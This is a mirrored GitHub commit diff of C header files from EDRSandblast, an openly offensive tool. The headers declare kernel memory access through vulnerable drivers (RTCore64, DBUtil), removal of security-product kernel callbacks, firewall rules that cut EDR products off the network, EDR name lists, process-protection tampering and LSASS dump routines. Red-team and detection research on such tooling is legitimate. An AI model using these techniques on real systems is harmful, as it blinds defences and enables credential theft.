mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-16 03:51:17 +00:00
D3FC0N 30 release: Obj callbacks, firewalling, symbols w/ internet, and more
Co-authored-by: Maxime Meignan <maxime.meignan@wavestone.com>
This commit is contained in:
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
HANDLE GetDriverHandle_DBUtil();
|
||||
VOID CloseDriverHandle_DBUtil();
|
||||
VOID WriteMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer);
|
||||
VOID ReadMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer);
|
||||
@@ -9,16 +9,17 @@
|
||||
#include <Windows.h>
|
||||
|
||||
#if !defined(PRINT_ERROR_AUTO)
|
||||
#define PRINT_ERROR_AUTO(func) (_tprintf(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError()))
|
||||
#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
|
||||
#endif
|
||||
|
||||
#define SERVICE_NAME_LENGTH 8
|
||||
#define MAX_UNINSTALL_ATTEMPTS 3
|
||||
#define OP_SLEEP_TIME 1000
|
||||
|
||||
TCHAR* GetServiceName(void);
|
||||
void SetServiceName(TCHAR* newName, size_t szNewName);
|
||||
TCHAR* GetDriverServiceName(void);
|
||||
void SetDriverServiceName(_In_z_ TCHAR* newName);
|
||||
|
||||
BOOL InstallVulnerableDriver(TCHAR* driverPath);
|
||||
|
||||
BOOL UninstallVulnerableDriver(void);
|
||||
BOOL UninstallVulnerableDriver(void);
|
||||
BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName);
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
HANDLE GetDriverHandle_RTCore();
|
||||
VOID CloseDriverHandle_RTCore();
|
||||
VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer);
|
||||
VOID ReadMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer);
|
||||
@@ -0,0 +1,13 @@
|
||||
#pragma once
|
||||
|
||||
PBYTE ReadFullFileW(LPCWSTR fileName);
|
||||
|
||||
BOOL FileExistsA(LPCSTR szPath);
|
||||
BOOL FileExistsW(LPCWSTR szPath);
|
||||
#ifdef UNICODE
|
||||
#define FileExists FileExistsW
|
||||
#else
|
||||
#define FileExists FileExistsA
|
||||
#endif // !UNICODE
|
||||
|
||||
BOOL WriteFullFileW(LPCWSTR fileName, PBYTE fileContent, SIZE_T fileSize);
|
||||
@@ -2,8 +2,10 @@
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
LPTSTR GetNtoskrnlPath();
|
||||
|
||||
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename);
|
||||
|
||||
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion);
|
||||
LPTSTR GetNtoskrnlVersion();
|
||||
|
||||
void GetWdigestVersion(TCHAR* wdigestVersion);
|
||||
LPTSTR GetWdigestVersion();
|
||||
@@ -0,0 +1,30 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#pragma warning(disable : 4201)
|
||||
#include <netfw.h>
|
||||
#pragma warning(default : 4201)
|
||||
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "StringUtils.h"
|
||||
|
||||
#pragma comment(lib, "ole32.lib")
|
||||
#pragma comment(lib, "oleaut32.lib")
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#endif
|
||||
|
||||
#ifndef FW_PROFILE_TYPE_ALL
|
||||
#define FW_PROFILE_TYPE_ALL 0x7FFFFFFF
|
||||
#endif
|
||||
|
||||
#define FW_RULE_NAME_MAX_LENGTH 20
|
||||
|
||||
HRESULT IsFirewallEnabled(BOOL* firewallIsOn);
|
||||
|
||||
HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName);
|
||||
|
||||
HRESULT DeleteFirewallRule(TCHAR * ruleName);
|
||||
@@ -0,0 +1,37 @@
|
||||
/*
|
||||
|
||||
--- Firewall rules to block EDR products from the network (inboud / outbound connections).
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Dbghelp.h>
|
||||
#include <stdio.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "FirewallOps.h"
|
||||
#include "IsEDRChecks.h"
|
||||
#include "IsElevatedProcess.h"
|
||||
|
||||
// Singly-linked list used to hold the paths of binaries executed by EDRs (processes / services).
|
||||
typedef struct sFwBinaryRules_ {
|
||||
TCHAR* binaryPath;
|
||||
TCHAR* ruleInboundName;
|
||||
TCHAR* ruleOutboundName;
|
||||
struct sFwBinaryRules_* next;
|
||||
} fwBinaryRules;
|
||||
|
||||
typedef struct fwBlockingRulesList_ {
|
||||
fwBinaryRules* first;
|
||||
}fwBlockingRulesList;
|
||||
|
||||
void FirewallPrintManualDeletion(fwBlockingRulesList* fwEntries);
|
||||
|
||||
HRESULT FirewallBlockEDR(fwBlockingRulesList* fwEntries);
|
||||
|
||||
HRESULT FirewallUnblockEDR(fwBlockingRulesList* fwEntries);
|
||||
|
||||
void fwList_insertSorted(fwBlockingRulesList* fwEntries, fwBinaryRules* newFWEntry);
|
||||
@@ -0,0 +1,2 @@
|
||||
#pragma once
|
||||
BOOL HttpsDownloadFullFile(LPCWSTR domain, LPCWSTR uri, PBYTE* output, SIZE_T* output_size);
|
||||
@@ -0,0 +1,24 @@
|
||||
/*
|
||||
* Primitives to check if a binary or driver belongs to an EDR product.
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "SignatureOps.h"
|
||||
|
||||
TCHAR const* EDR_SIGNATURE_KEYWORDS[];
|
||||
TCHAR const* EDR_BINARIES[];
|
||||
TCHAR const* EDR_DRIVERS[];
|
||||
|
||||
BOOL isFileSignatureMatchingEDR(TCHAR* filePath);
|
||||
|
||||
BOOL isBinaryNameMatchingEDR(TCHAR* binaryName);
|
||||
|
||||
BOOL isBinaryPathMatchingEDR(TCHAR* binaryPath);
|
||||
|
||||
BOOL isDriverNameMatchingEDR(TCHAR* driverName);
|
||||
|
||||
BOOL isDriverPathMatchingEDR(TCHAR* driverPath);
|
||||
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
|
||||
#include "Windows.h"
|
||||
#include "Tchar.h"
|
||||
|
||||
#pragma comment(lib, "netapi32.lib")
|
||||
|
||||
BOOL IsElevatedProcess();
|
||||
@@ -17,10 +17,24 @@
|
||||
*/
|
||||
#define PSP_MAX_CALLBACKS 0x40
|
||||
|
||||
//TODO : split notify routines & object callbacks in different files, but keep this base to implement more kernel callbacks types (CMRegisterCallbacks, etc)
|
||||
enum kernel_callback_type_e {
|
||||
NOTIFY_ROUTINE_CB,
|
||||
OBJECT_CALLBACK
|
||||
};
|
||||
struct KRNL_CALLBACK {
|
||||
TCHAR const* driver;
|
||||
DWORD64 callback_addr;
|
||||
DWORD64 callback_struct;
|
||||
enum kernel_callback_type_e type;
|
||||
TCHAR const* driver_name;
|
||||
union callback_addr_e {
|
||||
struct notify_routine_t {
|
||||
DWORD64 callback_struct_addr;
|
||||
DWORD64 callback_struct;
|
||||
enum NtoskrnlOffsetType type; //TODO : decorrelate indices in CSV from notify routine types
|
||||
} notify_routine;
|
||||
struct object_callback_t {
|
||||
DWORD64 enable_addr;
|
||||
} object_callback;
|
||||
} addresses;
|
||||
DWORD64 callback_func;
|
||||
BOOL removed;
|
||||
};
|
||||
@@ -30,11 +44,10 @@ struct FOUND_EDR_CALLBACKS {
|
||||
struct KRNL_CALLBACK EDR_CALLBACKS[256];
|
||||
};
|
||||
|
||||
TCHAR const* EDR_DRIVERS[];
|
||||
|
||||
|
||||
BOOL isDriverEDR(TCHAR* driver);
|
||||
|
||||
void RestoreEDRCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
|
||||
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
|
||||
|
||||
/*
|
||||
|
||||
@@ -78,6 +91,6 @@ void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL
|
||||
|
||||
*/
|
||||
|
||||
void EnumAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
|
||||
void RemoveAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
|
||||
|
||||
@@ -9,61 +9,49 @@
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
#define RTCore 0
|
||||
#define DBUtil 1
|
||||
#define VULN_DRIVER RTCore
|
||||
|
||||
struct RTCORE64_MSR_READ {
|
||||
DWORD Register;
|
||||
DWORD ValueHigh;
|
||||
DWORD ValueLow;
|
||||
};
|
||||
#if VULN_DRIVER == RTCore
|
||||
#define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys")
|
||||
#define GetDriverHandle GetDriverHandle_RTCore
|
||||
#define CloseDriverHandle CloseDriverHandle_RTCore
|
||||
#define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore
|
||||
#define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore
|
||||
#elif VULN_DRIVER == DBUtil
|
||||
#define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys")
|
||||
#define GetDriverHandle GetDriverHandle_DBUtil
|
||||
#define CloseDriverHandle CloseDriverHandle_DBUtil
|
||||
#define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil
|
||||
#define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil
|
||||
#endif
|
||||
|
||||
struct RTCORE64_MEMORY_READ {
|
||||
BYTE Pad0[8];
|
||||
DWORD64 Address;
|
||||
BYTE Pad1[8];
|
||||
DWORD ReadSize;
|
||||
DWORD Value;
|
||||
BYTE Pad3[16];
|
||||
};
|
||||
|
||||
struct RTCORE64_MEMORY_WRITE {
|
||||
BYTE Pad0[8];
|
||||
DWORD64 Address;
|
||||
BYTE Pad1[8];
|
||||
DWORD ReadSize;
|
||||
DWORD Value;
|
||||
BYTE Pad3[16];
|
||||
};
|
||||
BYTE ReadMemoryBYTE(DWORD64 Address);
|
||||
WORD ReadMemoryWORD(DWORD64 Address);
|
||||
DWORD ReadMemoryDWORD(DWORD64 Address);
|
||||
DWORD64 ReadMemoryDWORD64(DWORD64 Address);
|
||||
|
||||
static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
|
||||
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
|
||||
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
|
||||
BYTE ReadKernelMemoryBYTE(DWORD64 Offset);
|
||||
WORD ReadKernelMemoryWORD(DWORD64 Offset);
|
||||
DWORD ReadKernelMemoryDWORD(DWORD64 Offset);
|
||||
DWORD64 ReadKernelMemoryDWORD64(DWORD64 Offset);
|
||||
|
||||
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address);
|
||||
VOID ReadMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size);
|
||||
|
||||
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address);
|
||||
void WriteMemoryBYTE(DWORD64 Address, BYTE Value);
|
||||
void WriteMemoryWORD(DWORD64 Address, WORD Value);
|
||||
void WriteMemoryDWORD(DWORD64 Address, DWORD Value);
|
||||
void WriteMemoryDWORD64(DWORD64 Address, DWORD64 Value);
|
||||
|
||||
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address);
|
||||
void WriteKernelMemoryBYTE(DWORD64 Offset, BYTE Value);
|
||||
void WriteKernelMemoryWORD(DWORD64 Offset, WORD Value);
|
||||
void WriteKernelMemoryDWORD(DWORD64 Offset, DWORD Value);
|
||||
void WriteKernelMemoryDWORD64(DWORD64 Offset, DWORD64 Value);
|
||||
|
||||
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address);
|
||||
VOID WriteMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size);
|
||||
|
||||
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value);
|
||||
VOID CloseDriverHandle();
|
||||
|
||||
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value);
|
||||
|
||||
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value);
|
||||
|
||||
/*
|
||||
|
||||
--- Kernel exploitation helpers.
|
||||
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
|
||||
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
|
||||
|
||||
*/
|
||||
|
||||
DWORD64 FindNtoskrnlBaseAddress(void);
|
||||
|
||||
TCHAR* FindDriver(DWORD64 address, BOOL verbose);
|
||||
|
||||
HANDLE GetDriverHandle();
|
||||
|
||||
DWORD64 GetFunctionAddress(LPCSTR function);
|
||||
BOOL TestReadPrimitive();
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
DWORD64 FindNtoskrnlBaseAddress(void);
|
||||
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset);
|
||||
TCHAR* FindDriverPath(DWORD64 address);
|
||||
DWORD64 GetKernelFunctionAddress(LPCSTR function);
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
|
||||
--- LSASS dump functions.
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
|
||||
DWORD WINAPI dumpLSASSProcess(void* data);
|
||||
@@ -0,0 +1,7 @@
|
||||
#include <Windows.h>
|
||||
|
||||
typedef struct _LINKED_LIST {
|
||||
struct _LINKED_LIST* next;
|
||||
} LINKED_LIST, * PLINKED_LIST;
|
||||
|
||||
VOID freeLinkedList(PVOID head);
|
||||
@@ -11,13 +11,16 @@
|
||||
|
||||
|
||||
enum NtoskrnlOffsetType {
|
||||
CREATE_PROCESS_ROUTINE = 0,
|
||||
CREATE_THREAD_ROUTINE = 1,
|
||||
LOAD_IMAGE_ROUTINE = 2,
|
||||
PROTECTION_LEVEL = 3,
|
||||
ETW_THREAT_INT_PROV_REG_HANDLE = 4,
|
||||
ETW_REG_ENTRY_GUIDENTRY = 5,
|
||||
ETW_GUID_ENTRY_PROVIDERENABLEINFO = 6,
|
||||
CREATE_PROCESS_ROUTINE,
|
||||
CREATE_THREAD_ROUTINE,
|
||||
LOAD_IMAGE_ROUTINE,
|
||||
PROTECTION_LEVEL,
|
||||
ETW_THREAT_INT_PROV_REG_HANDLE,
|
||||
ETW_REG_ENTRY_GUIDENTRY,
|
||||
ETW_GUID_ENTRY_PROVIDERENABLEINFO,
|
||||
PSPROCESSTYPE,
|
||||
PSTHREADTYPE,
|
||||
OBJECT_TYPE_CALLBACKLIST,
|
||||
_SUPPORTED_NTOSKRNL_OFFSETS_END
|
||||
};
|
||||
|
||||
@@ -30,21 +33,41 @@ union NtoskrnlOffsets {
|
||||
DWORD64 pspCreateThreadNotifyRoutine;
|
||||
// ntoskrnl's PspLoadImageNotifyRoutine
|
||||
DWORD64 pspLoadImageNotifyRoutine;
|
||||
// ntoskrnl EPROCESS's _PS_PROTECTION
|
||||
DWORD64 ps_protection;
|
||||
// ntoskrnl EPROCESS's Protection field offset
|
||||
DWORD64 eprocess_protection;
|
||||
// ntoskrnl ETW Threat Intelligence's EtwThreatIntProvRegHandle
|
||||
DWORD64 etwThreatIntProvRegHandle;
|
||||
// ntoskrnl _ETW_REG_ENTRY's GuidEntry
|
||||
DWORD64 etwRegEntry_GuidEntry;
|
||||
// ntoskrnl _ETW_GUID_ENTRY's ProviderEnableInfo
|
||||
DWORD64 etwGuidEntry_ProviderEnableInfo;
|
||||
// ntoskrnl PsProcessType symbol offset
|
||||
DWORD64 psProcessType;
|
||||
// ntoskrnl PsThreadType symbol offset
|
||||
DWORD64 psThreadType;
|
||||
// ntoskrnl _OBJECT_TYPE's CallbackList symbol offset
|
||||
DWORD64 object_type_callbacklist;
|
||||
} st;
|
||||
|
||||
// array version (usefull for code factoring)
|
||||
DWORD64 ar[_SUPPORTED_NTOSKRNL_OFFSETS_END];
|
||||
};
|
||||
|
||||
union NtoskrnlOffsets ntoskrnlOffsets;
|
||||
union NtoskrnlOffsets g_ntoskrnlOffsets;
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename);
|
||||
// Stores, in a global variable, the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
void LoadNtoskrnlOffsetsFromFile(TCHAR* ntoskrnlOffsetFilename);
|
||||
|
||||
// Saves the offsets, stored in global variable, in the provided CSV file
|
||||
void SaveNtoskrnlOffsetsToFile(TCHAR* ntoskrnlOffsetFilename);
|
||||
|
||||
// Print the Ntosknrl offsets.
|
||||
void PrintNtoskrnlOffsets();
|
||||
|
||||
void LoadNtoskrnlOffsetsFromInternet(BOOL delete_pdb);
|
||||
|
||||
BOOL NtoskrnlOffsetsAreAllPresent();
|
||||
BOOL NtoskrnlAllKernelCallbacksOffsetsArePresent();
|
||||
BOOL NtoskrnlNotifyRoutinesOffsetsArePresent();
|
||||
BOOL NtoskrnlEtwtiOffsetsArePresent();
|
||||
BOOL NtoskrnlObjectCallbackOffsetsArePresent();
|
||||
@@ -0,0 +1,30 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
#define DECLARE_OFFSET(STRUCTNAME, OFFSETNAME) DWORD64 Offset_ ## STRUCTNAME ## _ ## OFFSETNAME
|
||||
#define DECLARE_SYMBOL(SYMBOL) DWORD64 Sym_ ## SYMBOL
|
||||
|
||||
// Offset used in experimental functions (EnumAllObjectsCallbacks, EnableDisableProcessAndThreadObjectsCallbacksSupport)
|
||||
DECLARE_OFFSET(_OBJECT_TYPE, Name);
|
||||
DECLARE_OFFSET(_OBJECT_TYPE, TotalNumberOfObjects);
|
||||
DECLARE_OFFSET(_OBJECT_TYPE, TypeInfo);
|
||||
DECLARE_OFFSET(_OBJECT_TYPE_INITIALIZER, ObjectTypeFlags);
|
||||
DECLARE_SYMBOL(ObpObjectTypes);
|
||||
DECLARE_SYMBOL(ObpTypeObjectType);
|
||||
|
||||
|
||||
//callback support strategy
|
||||
void EnableDisableProcessAndThreadObjectsCallbacksSupport(BOOL enable);
|
||||
BOOL AreProcessAndThreadsObjectsCallbacksSupportEnabled();
|
||||
|
||||
//undoc struct strategy
|
||||
void EnumAllObjectsCallbacks();
|
||||
BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks);
|
||||
void EnableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks);
|
||||
void DisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks);
|
||||
void EnableDisableAllProcessAndThreadObjectsCallbacks(BOOL enable);
|
||||
|
||||
//full black box strategy
|
||||
SIZE_T CountProcessAndThreadObjectsCallbacks();
|
||||
void RemoveAllProcessAndThreadObjectsCallbacks();
|
||||
void RestoreAllProcessAndThreadObjectsCallbacks();
|
||||
@@ -1,9 +1,10 @@
|
||||
#pragma once
|
||||
#pragma warning (disable:4214) //Warning Level 4: C4214: nonstandard extension used : bit field types other than int
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
typedef unsigned __int64 QWORD;
|
||||
|
||||
|
||||
typedef struct _IMAGE_RELOCATION_ENTRY {
|
||||
WORD Offset : 12;
|
||||
WORD Type : 4;
|
||||
@@ -14,6 +15,13 @@ typedef struct PE_relocation_t {
|
||||
WORD Type : 4;
|
||||
} PE_relocation;
|
||||
|
||||
typedef struct PE_codeview_debug_info_t {
|
||||
DWORD signature;
|
||||
GUID guid;
|
||||
DWORD age;
|
||||
CHAR pdbName[1];
|
||||
} PE_codeview_debug_info;
|
||||
|
||||
typedef struct PE_pointers {
|
||||
BOOL isMemoryMapped;
|
||||
BOOL isInAnotherAddressSpace;
|
||||
@@ -34,6 +42,9 @@ typedef struct PE_pointers {
|
||||
//relocations info
|
||||
DWORD nbRelocations;
|
||||
PE_relocation* relocations;
|
||||
//debug info
|
||||
IMAGE_DEBUG_DIRECTORY* debugDirectory;
|
||||
PE_codeview_debug_info* codeviewDebugInfo;
|
||||
} PE;
|
||||
|
||||
PE* PE_create(PVOID imageBase, BOOL isMemoryMapped);
|
||||
@@ -47,4 +58,5 @@ PVOID PE_functionAddr(PE* pe, LPCSTR functionName);
|
||||
VOID PE_parseRelocations(PE* pe);
|
||||
VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress);
|
||||
PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize);
|
||||
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize);
|
||||
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize);
|
||||
VOID PE_destroy(PE* pe);
|
||||
@@ -0,0 +1,12 @@
|
||||
#pragma once
|
||||
|
||||
typedef struct symbol_ctx_t {
|
||||
LPWSTR pdb_name_w;
|
||||
DWORD64 pdb_base_addr;
|
||||
HANDLE sym_handle;
|
||||
} symbol_ctx;
|
||||
|
||||
symbol_ctx* LoadSymbolsFromImageFile(LPCWSTR image_file_path);
|
||||
DWORD64 GetSymbolAddress(symbol_ctx* ctx, LPCSTR symbol_name);
|
||||
DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name);
|
||||
void UnloadSymbols(symbol_ctx* ctx, BOOL delete_pdb);
|
||||
@@ -0,0 +1,16 @@
|
||||
/*
|
||||
|
||||
--- LSASS dump functions.
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
//typedef BOOL(WINAPI* _MiniDumpWriteDump)(HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
|
||||
typedef BOOL(WINAPI* _MiniDumpWriteDump)(HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PVOID ExceptionParam, PVOID UserStreamParam, PVOID CallbackParam);
|
||||
|
||||
|
||||
DWORD WINAPI dumpProcess(LPTSTR processName, TCHAR* outputDumpFile);
|
||||
DWORD WINAPI dumpProcessFromThread(PVOID* args);
|
||||
@@ -0,0 +1,29 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <tchar.h>
|
||||
|
||||
enum ProcessorArchitecture {
|
||||
AMD64 = 9,
|
||||
INTEL = 0,
|
||||
};
|
||||
|
||||
#if _WIN64
|
||||
#define PROCESSOR_ARCHITECTURE AMD64
|
||||
#define SIZE_OF_SYSTEM_INFO_STREAM 48
|
||||
#else
|
||||
#define PROCESSOR_ARCHITECTURE INTEL
|
||||
#define SIZE_OF_SYSTEM_INFO_STREAM 56
|
||||
#endif
|
||||
|
||||
typedef struct _DUMP_CONTEXT {
|
||||
HANDLE hProcess;
|
||||
PVOID BaseAddress;
|
||||
ULONG32 RVA;
|
||||
SIZE_T DumpMaxSize;
|
||||
ULONG32 Signature;
|
||||
USHORT Version;
|
||||
USHORT ImplementationVersion;
|
||||
} DUMP_CONTEXT, * PDUMP_CONTEXT;
|
||||
|
||||
DWORD SandMiniDumpWriteDump(TCHAR* targetProcessName, WCHAR* dumpFilePath);
|
||||
DWORD SandMiniDumpWriteDumpFromThread(PVOID* args);
|
||||
@@ -0,0 +1,34 @@
|
||||
#include <Windows.h>
|
||||
#include <tchar.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "Undoc.h"
|
||||
|
||||
typedef struct _MODULE_INFO {
|
||||
struct _MODULE_INFO* next;
|
||||
ULONG64 dllBase;
|
||||
ULONG32 ImageSize;
|
||||
WCHAR dllName[256];
|
||||
ULONG32 nameRVA;
|
||||
ULONG32 timeDateStamp;
|
||||
ULONG32 checkSum;
|
||||
} MODULE_INFO, * PMODULE_INFO;
|
||||
|
||||
typedef struct _MEMORY_PAGE_INFO {
|
||||
struct _MEMORY_PAGE_INFO* next;
|
||||
ULONG64 startOfMemoryPage;
|
||||
ULONG64 dataSize;
|
||||
DWORD state;
|
||||
DWORD protect;
|
||||
DWORD type;
|
||||
} MEMORY_PAGE_INFO, * PMEMORY_PAGE_INFO;
|
||||
|
||||
PVOID GetRVA(ULONG_PTR baseAddress, ULONG_PTR RVA);
|
||||
|
||||
// Return a pointer to the target process PEB Ldr (as a pseudo LDR_DATA_TABLE_ENTRY).
|
||||
PLDR_DATA_TABLE_ENTRY getPebLdrAddress(HANDLE hProcess);
|
||||
|
||||
// Return a module info list of loaded moduler in InMemoryOrder.
|
||||
PMODULE_INFO getModulesInLdrByInMemoryOrder(HANDLE hProcess);
|
||||
|
||||
PMEMORY_PAGE_INFO getMemoryPagesInfo(HANDLE hProcess, BOOL filterPage);
|
||||
@@ -10,15 +10,9 @@
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
|
||||
//extern union NtoskrnlOffsets ntoskrnlOffsets;
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
#endif
|
||||
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
|
||||
|
||||
#define PROTECTED_PROCESS_MASK 0x00000800
|
||||
|
||||
/*
|
||||
* Defines the NtQuerySystemInformation function.
|
||||
@@ -80,4 +74,4 @@ typedef enum _PS_PROTECTED_SIGNER {
|
||||
|
||||
DWORD64 GetSelfEPROCESSAddress(BOOL verbose);
|
||||
|
||||
int SetCurrentProcessAsProtected(BOOL verbose);
|
||||
int SetCurrentProcessAsProtected(BOOL verbose);
|
||||
|
||||
@@ -0,0 +1,121 @@
|
||||
#pragma once
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
#ifndef SW2_HEADER_H_
|
||||
#define SW2_HEADER_H_
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#include "Undoc.h"
|
||||
|
||||
#define SW2_SEED 0xE14B0D06
|
||||
#define SW2_ROL8(v) (v << 8 | v >> 24)
|
||||
#define SW2_ROR8(v) (v >> 8 | v << 24)
|
||||
#define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v))
|
||||
#define SW2_MAX_ENTRIES 500
|
||||
#define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
|
||||
|
||||
// Typedefs are prefixed to avoid pollution.
|
||||
|
||||
typedef struct _SW2_SYSCALL_ENTRY
|
||||
{
|
||||
DWORD Hash;
|
||||
DWORD RVA;
|
||||
DWORD SyscallNumber;
|
||||
} SW2_SYSCALL_ENTRY, * PSW2_SYSCALL_ENTRY;
|
||||
|
||||
typedef struct _SW2_SYSCALL_LIST
|
||||
{
|
||||
DWORD Count;
|
||||
SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
|
||||
} SW2_SYSCALL_LIST, * PSW2_SYSCALL_LIST;
|
||||
|
||||
|
||||
DWORD SW2_HashSyscall(PCSTR FunctionName);
|
||||
BOOL SW2_PopulateSyscallList(void);
|
||||
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash);
|
||||
|
||||
#ifndef InitializeObjectAttributes
|
||||
#define InitializeObjectAttributes( p, n, a, r, s ) { \
|
||||
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
|
||||
(p)->RootDirectory = r; \
|
||||
(p)->Attributes = a; \
|
||||
(p)->ObjectName = n; \
|
||||
(p)->SecurityDescriptor = s; \
|
||||
(p)->SecurityQualityOfService = NULL; \
|
||||
}
|
||||
#endif
|
||||
|
||||
EXTERN_C NTSTATUS NtGetNextProcess(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN ULONG HandleAttributes,
|
||||
IN ULONG Flags,
|
||||
OUT PHANDLE NewProcessHandle);
|
||||
|
||||
EXTERN_C NTSTATUS NtQueryInformationProcess(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PROCESSINFOCLASS ProcessInformationClass,
|
||||
OUT PVOID ProcessInformation,
|
||||
IN ULONG ProcessInformationLength,
|
||||
